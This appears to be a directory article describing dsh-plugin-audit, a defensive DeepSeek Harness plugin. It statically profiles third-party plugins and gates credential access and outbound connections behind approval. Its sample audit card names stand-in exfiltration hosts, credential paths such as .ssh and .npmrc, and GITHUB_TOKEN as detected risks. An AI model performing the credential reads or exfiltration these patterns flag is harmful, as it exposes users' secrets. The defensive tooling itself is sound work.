Preface¶

DeepSeek Harness (dsh) wraps model adaptation, tools, sessions, loops and interfaces into plugins, as summed up in its official repository in one sentence: everything is a plugin. Community plugins have thus grown rapidly, with a simple installation entry: you can attach a GitHub repository to the current profile with just one dsh plugin add command.

Simplicity also means risks come with permissions. Both the directory page and official documentation clearly state that plugins run with the permissions of the current dsh process, and may execute code during installation. It is often impossible to tell before installation whether a third-party plugin will read ~/.ssh, write home directory dotfiles, or send data to unknown hosts. The community directory DeepSeek Harness Plugins is an independent site, whose About page clearly states that it has no official affiliation with DeepSeek / Fang Information Technology, and inclusion does not equal security audit.

What dsh-plugin-audit does is relatively specific: before running a third-party plugin, it first performs a static permission profiling on the source code, listing the files, processes, hosts, environment variables and credential paths it touches, with file/line numbers attached; once installed, the runtime sentinel will also block tool calls that access credential paths or make outbound connections to unknown hosts before they are executed, requiring your approval.

What This Is¶

dsh-plugin-audit is a development and runtime plugin for DeepSeek Harness, maintained by jkrandom-sudo, with its source code hosted at the GitHub repository jkrandom-sudo/dsh-plugin-audit under the MIT license. The npm package name is also dsh-plugin-audit, with the current version 0.1.2 (released 2026-08-14). Both the directory page and GitHub show 4 stars. Its primary language is TypeScript, with a peer dependency on Cordis ^4.0.0-rc.7, and a Node.js requirement of ^22.19.0 || >=24.0.0. The README states that it has been validated against the DSH mainline snapshot from 2026-08-14 for both web and headless profiles.

It does not solve the problem of “telling you whether this plugin is safe to install”, but rather lays out the evidence: static scanning produces a permission profile card; the runtime sentinel intercepts high-risk calls before the tool actually executes. The README positions it as an auditing aid, not antivirus software: a clean report means “no evidence was found by these rules”, not “it is safe”.

Core Features¶

Static Audit: plugin_audit¶

Point the tool at the source code directory of any plugin (do not point to the installed artifact with node_modules), and it will scan the source code, package.json and cordis.patch.yml, returning a permission profile card. The profile will show whether these surfaces are touched by the code:

• Filesystem read / write
• Child processes
• Network, and outbound hosts extracted from source code text
• Environment variables, and variable names that look like credentials (e.g. GITHUB_TOKEN)
• Credential paths (e.g. .npmrc, .ssh)
• Dynamic code execution
• Injected Cordis services, declared dependencies, bundle patches

Findings are tagged with severity level, capability type, location and description. The sample card in the README looks like this (excerpt):

## Plugin audit: fixture-suspicious-plugin

**Risk: REVIEW** — human review recommended before installing

> 1 files scanned; risk=review; 10 findings (4 review, 4 notice, 2 info)

### Permission profile

| Surface | Observed |
|---|---|
| Filesystem read | **yes** |
| Filesystem write | **yes** |
| Child processes | **yes** |
| Network | **yes** |
| Outbound hosts | `evil.example.com`, `exfil.badhost.io`, `telemetry.example.net` |
| Env variables | `GITHUB_TOKEN`, `HOME` |
| Credential-looking env | `GITHUB_TOKEN` |
| Credential paths | `.npmrc`, `.ssh` |
| Dynamic code execution | **yes** |

The tool returns a value of { markdown, risk, filesScanned, findingsCount, writesPerformed }. risk can be info, notice or review. The scan is contractually read-only: every report carries writesPerformed: false. The scanner only uses read handles, with a limit of 400 files and 256 KB per file, and skips node_modules, .git, lib, dist. The plugin itself does not initiate network requests; the hostnames in the report are extracted from source code text and will not be accessed.

The optional companion plugin dsh-plugin-audit/invariant will enforce this read-only marker at runtime; if the result of plugin_audit loses the writesPerformed: false field, the session will fail. It is already exported from the package, but is intentionally not included in the bundled cordis.patch.yml: the official web / base profile does not provide the invariants service, and adding that line will cause the startup to hang in pending state. You should manually add the line { id: dsh-plugin-audit-invariant, name: 'dsh-plugin-audit/invariant' } only if the profile actually provides this service.

Runtime Sentinel¶

The sentinel hooks into the tools/pre-execute waterfall of the host tool pipeline. Once installed, it automatically monitors every tool call in the session, without requiring any additional tool calls. When a pending execution call hits the rules, the sentinel returns ask with a reason, and hands it over to the host’s existing approval prompt. If there is no approval channel, the call will be rejected and will not be silently allowed.

The three rules listed in the README are:

The sentinel only checks the tool name and call parameters that pass through tools/pre-execute, it does not read files, environment variables, or touch any session content beyond the parameters. The ask ruling is handled by the host’s approval prompt, and the plugin only logs the reason via ctx.logger.

In the default configuration, sentinelEnabled is true. The pre-approved hosts (allowedHosts) default to github.com, api.github.com, raw.githubusercontent.com, registry.npmjs.org and *.deepseek.com (the leading *. is a suffix rule that also matches the bare domain name). The static scanner does not read this list, and all discovered network surfaces will be written into the profile.

Installation and Activation¶

The installation command given on the community directory page is as follows, run it in the DeepSeek Harness terminal:

dsh plugin add github:jkrandom-sudo/dsh-plugin-audit

For reproducible installations, pin the commit hash as instructed on the directory page. The latest commit on the current repository main branch is d83ae9a0516533490ff9a93ef686cf19db9fac5d (2026-08-14, corresponding to v0.1.2):

dsh plugin add github:jkrandom-sudo/dsh-plugin-audit#d83ae9a0516533490ff9a93ef686cf19db9fac5d

The README also provides syntax with --profile web, as well as installation from npm:

# Install from npm to the web profile
dsh plugin --profile web add dsh-plugin-audit

# Or install from GitHub to the web profile
dsh plugin --profile web add github:jkrandom-sudo/dsh-plugin-audit

Both README commands will write the package into the profile’s dsh.profile.bundles, and apply the bundled cordis.patch.yml (one line: dsh-plugin-audit, with sentinelEnabled: true). It takes effect after restarting the profile.

Uninstallation:

dsh plugin --profile web remove dsh-plugin-audit

The README clearly states that, apart from the profile’s own dependency metadata, this plugin does not perform any other writes; you can remove the dependency and bundle line and restart to fully uninstall.

The directory page reminds you: plugins run with the permissions of the current dsh process, and may execute code during installation. Please check the source code repository and license before installing.

Typical Usage¶

In a session of a profile where this plugin has already been installed, you can simply say:

Audit the plugin at ~/some-third-party-plugin using plugin_audit

You can also have the model call it via tool parameters. path is required, pointing to the plugin’s source code directory; format can be markdown (default) or json:

{ "path": "/absolute/path/to/plugin", "format": "markdown" }

The sentinel requires no additional calls. When an outbound connection to an unknown host is triggered, the host will pop up a prompt similar to the following:

⚠ Tool "bash" runs curl toward "collector.unknown.io", which is not in allowedHosts. Outbound data movement needs your confirmation. (Approve / Deny)

To modify the configuration, edit this entry in the profile’s cordis.patch.yml:

- id: dsh-plugin-audit
  name: 'dsh-plugin-audit'
  config:
    sentinelEnabled: true        # Master switch; false = only static auditing is retained
    allowedHosts:
      - github.com
      - api.github.com
      - raw.githubusercontent.com
      - registry.npmjs.org
      - '*.deepseek.com'

If frequent prompts are triggered by normal commands, add the host to allowedHosts, or set sentinelEnabled to false and only retain static auditing. If the agent cannot see plugin_audit, confirm that the package has been written into the profile’s package.json dsh.profile.bundles, check for the dsh-plugin-audit line using --dump-config, then restart.

Applicable Scenarios and Notes¶

This tool is suitable for users who frequently test and install community plugins on their local DeepSeek Harness: run plugin_audit against the source code directory before installation, to check if there are credential paths, unknown hosts and dynamic execution in the profile; after installation, let the sentinel monitor tool calls in the session. It is also suitable for checking what bundle changes third-party plugins declare by comparing against cordis.patch.yml.

Note these boundaries that have been written into the README:

1. Audit the source code, not the installed artifact. The traversal skips lib / dist, with a limit of 400 files / 256 KB. Packages that only publish build artifacts will at least get a NOTICE, and the card will state that no source code was scanned, rather than giving a clean conclusion.
2. Scanning is based on source code text, not AST. Credential paths in comments or strings will also be reported. The maintainers consider this an intentional design: the card is evidence for humans to review, so it is better to err on the side of including more than less.
3. Do not follow symlinks. Only read real files in the target tree.
4. Do not attach the invariant line to profiles that do not have the invariants service. Startup will throw an error of dsh-plugin-audit/invariant: pending (waiting for service: invariants). The bundled patch does not include this line by default.
5. It is not antivirus software. The rules are heuristic, and a clean report cannot be taken as a security endorsement. If you find a scanning miss or a way to bypass the sentinel, the README suggests opening an issue in the repository; report sensitive content privately first.

DeepSeek Harness is still in developer preview, and the official README clearly marks in uppercase that there will be breaking changes. This plugin has been validated against the 2026-08-14 mainline snapshot, and you will need to re-verify that the wiring still works after subsequent mainline upgrades.

Summary¶

dsh-plugin-audit turns the guesswork of “what exactly does this third-party plugin touch” into a line-numbered profile, then uses the runtime sentinel to block credential access and outbound connections to unknown hosts behind approval prompts. The final judgment still rests with the person installing the plugin. The source code, license and installation commands are subject to the directory page and GitHub repository:

• Directory page: https://deepseek-harness-plugin.com/zh-CN/plugins/dsh-plugin-audit/
• GitHub: https://github.com/jkrandom-sudo/dsh-plugin-audit
• npm: https://www.npmjs.com/package/dsh-plugin-audit